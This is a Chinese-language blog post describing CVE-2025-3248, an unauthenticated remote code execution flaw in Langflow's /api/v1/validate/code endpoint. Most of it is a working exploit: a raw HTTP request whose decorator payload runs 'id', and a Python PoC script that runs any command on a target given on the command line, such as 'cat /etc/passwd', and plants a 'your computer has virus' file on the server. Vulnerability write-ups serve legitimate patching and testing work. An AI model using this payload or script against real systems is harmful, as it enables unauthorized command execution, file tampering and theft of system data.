CVE-2025-3248

文章目录

漏洞名称

CVE-2025-3248:LangFlow 未授权远程代码执行漏洞

漏洞描述

Langflow是一个流行的开源AI工作流可视化工具,允许用户通过Web界面拖拽式构建基于Python的智能体和数据处理流程。

在1.3.0版本之前,Langflow存在一个严重的未授权远程代码执行漏洞(CVE-2025-3248)。/api/v1/validate/code接口原本用来校验用户提交的Python代码是否合法,其内部通过ast解析代码后,使用exec执行所有函数定义。然而,Python的装饰器和默认参数表达式也会在函数定义时被执行,攻击者可以通过精心构造的装饰器或默认参数,在未授权的情况下实现任意代码执行。

漏洞复现

ui:

直接向/api/v1/validate/code接口发送包含恶意装饰器的Python函数定义,即可来实现远程命令执行:

复制代码
POST /api/v1/validate/code HTTP/1.1
Host: your-ip:7860
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 105

{"code": "@exec(\"raise Exception(__import__('subprocess').check_output(['id']))\")\ndef foo():\n  pass"}

POC

python 复制代码
# langflowpoc.py
import sys
import requests
from pathlib import Path

if len(sys.argv) < 3:
    print("usage: python poc.py 'http://target:7860' 'cat /etc/passwd'")
    exit(1)

url = sys.argv[1].removesuffix("/") + "/api/v1/validate/code"
cmd = sys.argv[2]

message = "ello ur computa has virus ... (略)"

code_to_exec = f"""
from pathlib import Path
import os
try:
    for file in ['/tmp/ello_ur_computa_has_virus.txt', '~/ello_ur_computa_has_virus.txt']:
        Path(file).expanduser().write_text({message!r})
except:
    pass
raise Exception(os.popen({cmd!r}).read())
"""

payload = f"""
import os

@exec({code_to_exec!r})
def f():
    pass
"""

resp = requests.post(url, verify=False, json={"code": payload})
print(resp.text)
相关推荐
无障碍研究院7 小时前
2026TADC|李璀:从标准走向落地,拆解无障碍产品合规实操方案
安全·web安全
qq_443132417 小时前
数字资产安全治理平台是什么:定义、核心能力与选型要点
网络·安全
江湖有缘8 小时前
Docker实战 | 使用Docker部署HarborGuard容器安全扫描平台
安全·docker·容器
福狼8 小时前
Go 用户密码存储实践:从 MD5 到 Argon2id
安全
m0_547486668 小时前
《人工智能安全》全套PPT课件2026(复旦大学)
人工智能·安全·人工智能安全
寻林写彡9 小时前
Web 安全三大漏洞靶场作业全整理:PHP 核心函数与防御方案汇总
安全·php
T.O.P_KING9 小时前
Falco vs. Tetragon:云原生运行时安全选型指南
安全·云原生
leizhen198408099 小时前
Vibe Coding:门槛降了,但判断力成了新的门槛(漫画)
人工智能·安全
guohuang9 小时前
让机器人安全失败:点云中断、TF 超时和控制器崩溃怎么测
git·安全·机器人
持敬chijing11 小时前
白盒测试与代码审计-JS 数据逆向
javascript·网络·安全·web安全·网络安全·网络攻击模型·安全威胁分析